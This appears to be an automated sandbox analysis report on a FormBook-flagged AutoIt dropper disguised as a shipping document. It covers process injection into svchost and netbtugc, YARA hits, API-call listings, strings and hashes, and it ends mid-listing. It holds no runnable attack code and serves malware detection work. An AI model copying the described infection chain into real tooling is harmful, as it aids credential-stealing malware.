Sep 14, 2024 11:13:14.891906977 CEST	1236	IN	Data Raw: 73 65 71 75 65 6e 63 65 22 29 3b 72 3d 28 28 31 30 32 33 26 72 29 3c 3c 31 30 29 2b 28 31 30 32 33 26 65 29 2b 36 35 35 33 36 7d 6e 2e 70 75 73 68 28 72 29 7d 72 65 74 75 72 6e 20 6e 7d 2c 65 6e 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 6f 29 7b Data Ascii: sequence");r=((1023&r)<<10)+(1023&e)+65536}n.push(r)}return n},encode:function(o){for(var r,e=[],n=0,t=o.length;n<t;){if(55296==(63488&(r=o[n++])))throw new RangeError("UTF-16(encode): Illegal UTF-16 value");65535<r&&(r-=65536,e.push(String.fr
Sep 14, 2024 11:13:14.891921997 CEST	1236	IN	Data Raw: 6c 65 6e 67 74 68 2b 31 2c 30 3d 3d 3d 6c 29 2c 4d 61 74 68 2e 66 6c 6f 6f 72 28 66 2f 68 29 3e 72 2d 61 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 66 6c 6f 77 28 33 29 22 29 3b 61 2b 3d 4d 61 Data Ascii: length+1,0===l),Math.floor(f/h)>r-a)throw RangeError("punycode_overflow(3)");a+=Math.floor(f/h),f%=h,t&&y.splice(f,0,e.charCodeAt(d-1)-65<26),m.splice(f,0,a),f++}if(t)for(f=0,w=m.length;f<w;f++)y[f]&&(m[f]=String.fromCharCode(m[f]).toUpperCase
Sep 14, 2024 11:13:14.891947031 CEST	300	IN	Data Raw: 2e 22 29 7d 2c 74 68 69 73 2e 54 6f 55 6e 69 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 6f 72 28 76 61 72 20 72 3d 6f 2e 73 70 6c 69 74 28 22 2e 22 29 2c 65 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 72 2e 6c 65 6e 67 74 68 3b 2b 2b 6e 29 7b 76 61 Data Ascii: .")},this.ToUnicode=function(o){for(var r=o.split("."),e=[],n=0;n<r.length;++n){var t=r[n];e.push(t.match(/^xn--/)?punycode.decode(t.slice(4)):t)}return e.join(".")}},pathName=window.location.hostname,account=document.getElementById("pathName"

Target ID:	0
Start time:	05:10:08
Start date:	14/09/2024
Path:	C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe"
Imagebase:	0xe00000
File size:	1'280'512 bytes
MD5 hash:	E57F3CDD911CBAF924BF1E6E7DCC7795
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:10:09
Start date:	14/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe"
Imagebase:	0x330000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:10:43
Start date:	14/09/2024
Path:	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe"
Imagebase:	0xe70000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:10:45
Start date:	14/09/2024
Path:	C:\Windows\SysWOW64\netbtugc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\netbtugc.exe"
Imagebase:	0x820000
File size:	22'016 bytes
MD5 hash:	EE7BBA75B36D54F9E420EB6EE960D146
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:10:58
Start date:	14/09/2024
Path:	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe"
Imagebase:	0xe70000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:11:15
Start date:	14/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	6.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	84

Executed Functions

Function 00E03B4C Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00E03B7A
IsDebuggerPresent.KERNEL32 ref: 00E03B8C
GetFullPathNameW.KERNEL32(00007FFF,?,?,00EC52F8,00EC52E0,?,?), ref: 00E03BFD

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

Part of subcall function 00E10A8D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00E03C26,00EC52F8,?,?,?), ref: 00E10ACE

SetCurrentDirectoryW.KERNEL32(?), ref: 00E03C81
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00EB7770,00000010), ref: 00E3D3EC
SetCurrentDirectoryW.KERNEL32(?,00EC52F8,?,?,?), ref: 00E3D424
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00EB4260,00EC52F8,?,?,?), ref: 00E3D4AA
ShellExecuteW.SHELL32(00000000,?,?), ref: 00E3D4B1

Part of subcall function 00E03A58: GetSysColorBrush.USER32(0000000F), ref: 00E03A62
Part of subcall function 00E03A58: LoadCursorW.USER32(00000000,00007F00), ref: 00E03A71
Part of subcall function 00E03A58: LoadIconW.USER32(00000063), ref: 00E03A88
Part of subcall function 00E03A58: LoadIconW.USER32(000000A4), ref: 00E03A9A
Part of subcall function 00E03A58: LoadIconW.USER32(000000A2), ref: 00E03AAC
Part of subcall function 00E03A58: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00E03AD2
Part of subcall function 00E03A58: RegisterClassExW.USER32(?), ref: 00E03B28

Part of subcall function 00E039E7: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00E03A15
Part of subcall function 00E039E7: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00E03A36
Part of subcall function 00E039E7: ShowWindow.USER32(00000000,?,?), ref: 00E03A4A
Part of subcall function 00E039E7: ShowWindow.USER32(00000000,?,?), ref: 00E03A53

Part of subcall function 00E043DB: _memset.LIBCMT ref: 00E04401
Part of subcall function 00E043DB: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00E044A6

Strings

%, xrefs: 00E03C56
This is a third-party compiled AutoIt script., xrefs: 00E3D3E4
runas, xrefs: 00E3D4A5

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas$%
API String ID: 529118366-3343222573
Opcode ID: dd3494cc8ce0dd652cace3de8f443e7acd0ac3b66bf4c88727138734b13fe567
Instruction ID: 393b0cacefa01537e1b20f31e986dba114673069372bd8ae15e2b71837700a76
Opcode Fuzzy Hash: dd3494cc8ce0dd652cace3de8f443e7acd0ac3b66bf4c88727138734b13fe567
Instruction Fuzzy Hash: 28511971D08248AEDF15EBB5EC45EEEBBF8AB44304F106169F451B21F1CA7166CACB21

Function 00E04FE9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00E04EEE,?,?,00000000,00000000), ref: 00E04FF9
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00E04EEE,?,?,00000000,00000000), ref: 00E05010
LoadResource.KERNEL32(?,00000000,?,?,00E04EEE,?,?,00000000,00000000,?,?,?,?,?,?,00E04F8F), ref: 00E3DC90
SizeofResource.KERNEL32(?,00000000,?,?,00E04EEE,?,?,00000000,00000000,?,?,?,?,?,?,00E04F8F), ref: 00E3DCA5
LockResource.KERNEL32(N,?,?,00E04EEE,?,?,00000000,00000000,?,?,?,?,?,?,00E04F8F,00000000), ref: 00E3DCB8

Strings

SCRIPT, xrefs: 00E05006
N, xrefs: 00E3DCB5

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT$N
API String ID: 3051347437-3852340653
Opcode ID: 23d0d4d9fc85d007a88e5c5c9163b3530f5c752052f73dbc4a2e84fc40840b1d
Instruction ID: 37680bc750811cbca45c18ae6e35880ae1d7a6d151d6527597419e499efebe6a
Opcode Fuzzy Hash: 23d0d4d9fc85d007a88e5c5c9163b3530f5c752052f73dbc4a2e84fc40840b1d
Instruction Fuzzy Hash: A5115A75200700AFD7258B66DC48F6B7BB9EBC9B11F204568F40AE62A0DB61EC44CA60

Function 00E04AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00E04B2B

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

GetCurrentProcess.KERNEL32(?,00E8FAEC,00000000,00000000,?), ref: 00E04BF8
IsWow64Process.KERNEL32(00000000), ref: 00E04BFF
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00E04C45
FreeLibrary.KERNEL32(00000000), ref: 00E04C50
GetSystemInfo.KERNEL32(00000000), ref: 00E04C81
GetSystemInfo.KERNEL32(00000000), ref: 00E04C8D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: f49afeaad7d175afd1a6e5c05d8c88c5929cc3f5a27bb245790673cbf3188d96
Instruction ID: 2864b5a9e28365207ae8fd6a0228bdf970a204c081c7cf07b7c03cebc509b687
Opcode Fuzzy Hash: f49afeaad7d175afd1a6e5c05d8c88c5929cc3f5a27bb245790673cbf3188d96
Instruction Fuzzy Hash: 0691F6B154E7C0DED731CB6895951AAFFE4AF25300F48599DD1CBB3A81D230E988C729

Function 00E0FE40 Relevance: 9.8, APIs: 3, Strings: 2, Instructions: 1040COMMON

Download Yara Rule

Strings

%, xrefs: 00E0FE53
pb, xrefs: 00E44D12

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: BuffCharUpper
String ID: pb$%
API String ID: 3964851224-1798441486
Opcode ID: 4f724afcca5220d3afc925e33e8d73b3f6c4f7f16d9f343d3cfdd1e4e509ce3e
Instruction ID: 59f31e2439a7c3f6767496bf74f37e681c4c1b336492d951d3677e14983d1c29
Opcode Fuzzy Hash: 4f724afcca5220d3afc925e33e8d73b3f6c4f7f16d9f343d3cfdd1e4e509ce3e
Instruction Fuzzy Hash: 259270706083419FD724DF14C480BAAB7E1BF84304F14A96DF89AAB392D775EC85CB92

Function 00E0E800 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON

Download Yara Rule

Strings

Dd, xrefs: 00E43E87
Variable must be of type 'Object'., xrefs: 00E441BB
Dd, xrefs: 00E0EC1A
Dd, xrefs: 00E0EC21
Dd, xrefs: 00E43E4E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID: Dd$Dd$Dd$Dd$Variable must be of type 'Object'.
API String ID: 0-2781164977
Opcode ID: 7583e6378d9a53641f4abdd0229823f277951020b7fc869771082ecd0988eb1e
Instruction ID: 8b0f2b20da40aa7462a5aa749247bb1db5d9a7ebc2b13bb39e4762beb23dae42
Opcode Fuzzy Hash: 7583e6378d9a53641f4abdd0229823f277951020b7fc869771082ecd0988eb1e
Instruction Fuzzy Hash: B5A28C75A00205CFCB24CF58C481AAEB7B1FF58314F649869E956BB392D731ED86CB90

Function 00E6449B Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00E3E6F1), ref: 00E644AB
FindFirstFileW.KERNELBASE(?,?), ref: 00E644BC
FindClose.KERNEL32(00000000), ref: 00E644CC

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 7fcbc5f754eb5cc986599f4f64a450cbb87c6a02824a56bf0b52694421190e51
Instruction ID: ed8bb8285afab4ee2f07e502e92cd44b9ede8366a923c2e2b8becf2dcc89580a
Opcode Fuzzy Hash: 7fcbc5f754eb5cc986599f4f64a450cbb87c6a02824a56bf0b52694421190e51
Instruction Fuzzy Hash: 03E0DF728108006B8210A738FC0E8EA779CAF453B9F100726F939E20E0EB7499148696

Function 00E10B30 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E10BBB
timeGetTime.WINMM ref: 00E10E76
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E10FB3
Sleep.KERNEL32(0000000A), ref: 00E10FC1
LockWindowUpdate.USER32(00000000,?,?), ref: 00E1105A
DestroyWindow.USER32 ref: 00E11066
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E11080
Sleep.KERNEL32(0000000A,?,?), ref: 00E451DC
TranslateMessage.USER32(?), ref: 00E45FB9
DispatchMessageW.USER32(?), ref: 00E45FC7
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E45FDB

Strings

@TRAY_ID, xrefs: 00E45AE8
pb, xrefs: 00E4535C
pb, xrefs: 00E45307
@GUI_WINHANDLE, xrefs: 00E452E8
@COM_EVENTOBJ, xrefs: 00E45849
pb, xrefs: 00E452B2
@GUI_CTRLID, xrefs: 00E45293
pb, xrefs: 00E45B0D
@GUI_CTRLHANDLE, xrefs: 00E4533D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pb$pb$pb$pb
API String ID: 4212290369-1420604165
Opcode ID: 33714c22a13f93ca36db3004564f4c8119f0bba312e38c5c9897648deae4f2c7
Instruction ID: b793ba53541194a10a9a8e78e3446596f5c1bbbf49e1c4e8fa31ed9e792f8529
Opcode Fuzzy Hash: 33714c22a13f93ca36db3004564f4c8119f0bba312e38c5c9897648deae4f2c7
Instruction Fuzzy Hash: 7CB2D271608741DFD728DF24D884BAAB7E5BF84304F14591DF49AB72A2CB71E885CB82

Function 00E691FE Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E69008: __time64.LIBCMT ref: 00E69012

Part of subcall function 00E05045: _fseek.LIBCMT ref: 00E0505D

__wsplitpath.LIBCMT ref: 00E692DD

Part of subcall function 00E2426E: __wsplitpath_helper.LIBCMT ref: 00E242AE

_wcscpy.LIBCMT ref: 00E692F0
_wcscat.LIBCMT ref: 00E69303
__wsplitpath.LIBCMT ref: 00E69328
_wcscat.LIBCMT ref: 00E6933E
_wcscat.LIBCMT ref: 00E69351

Part of subcall function 00E6904E: _memmove.LIBCMT ref: 00E69087
Part of subcall function 00E6904E: _memmove.LIBCMT ref: 00E69096

_wcscmp.LIBCMT ref: 00E69298

Part of subcall function 00E697DD: _wcscmp.LIBCMT ref: 00E698CD
Part of subcall function 00E697DD: _wcscmp.LIBCMT ref: 00E698E0

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00E694FB
_wcsncpy.LIBCMT ref: 00E6956E
DeleteFileW.KERNEL32(?,?), ref: 00E695A4
CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00E695BA
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00E695CB
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00E695DD

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 790f33e24c5688a2f6b63f96dd433d12afef7062fd7a956b0ed4d10e5895caeb
Instruction ID: 72993518110b18bfdc3f901ada93bc0462a6af7b065bba0b4c179a02a50017d9
Opcode Fuzzy Hash: 790f33e24c5688a2f6b63f96dd433d12afef7062fd7a956b0ed4d10e5895caeb
Instruction Fuzzy Hash: 21C16CB2D40229AACF21DF95DC85ADEB7BDEF44350F0050AAF609F7151DB309A848F65

Function 00E03025 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00E03074
RegisterClassExW.USER32(00000030), ref: 00E0309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E030AF
InitCommonControlsEx.COMCTL32(?), ref: 00E030CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E030DC
LoadIconW.USER32(000000A9), ref: 00E030F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E03101

Strings

0, xrefs: 00E03056
AutoIt v3 GUI, xrefs: 00E03090
+, xrefs: 00E0305D
TaskbarCreated, xrefs: 00E030A4

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 9099d890c772a24efbe56af2908133905eee6c4fca0020ece348239c866e4b96
Instruction ID: f9860b686652d4b566f844ce2ee3f702e20755dbc148f014f3152c2710571ba4
Opcode Fuzzy Hash: 9099d890c772a24efbe56af2908133905eee6c4fca0020ece348239c866e4b96
Instruction Fuzzy Hash: E33128B2851309AFDB408FA5E884ACDBBF4FB08310F10412AE554F62A0D7B6158ACF50

Function 00E03041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00E03074
RegisterClassExW.USER32(00000030), ref: 00E0309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E030AF
InitCommonControlsEx.COMCTL32(?), ref: 00E030CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E030DC
LoadIconW.USER32(000000A9), ref: 00E030F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E03101

Strings

0, xrefs: 00E03056
AutoIt v3 GUI, xrefs: 00E03090
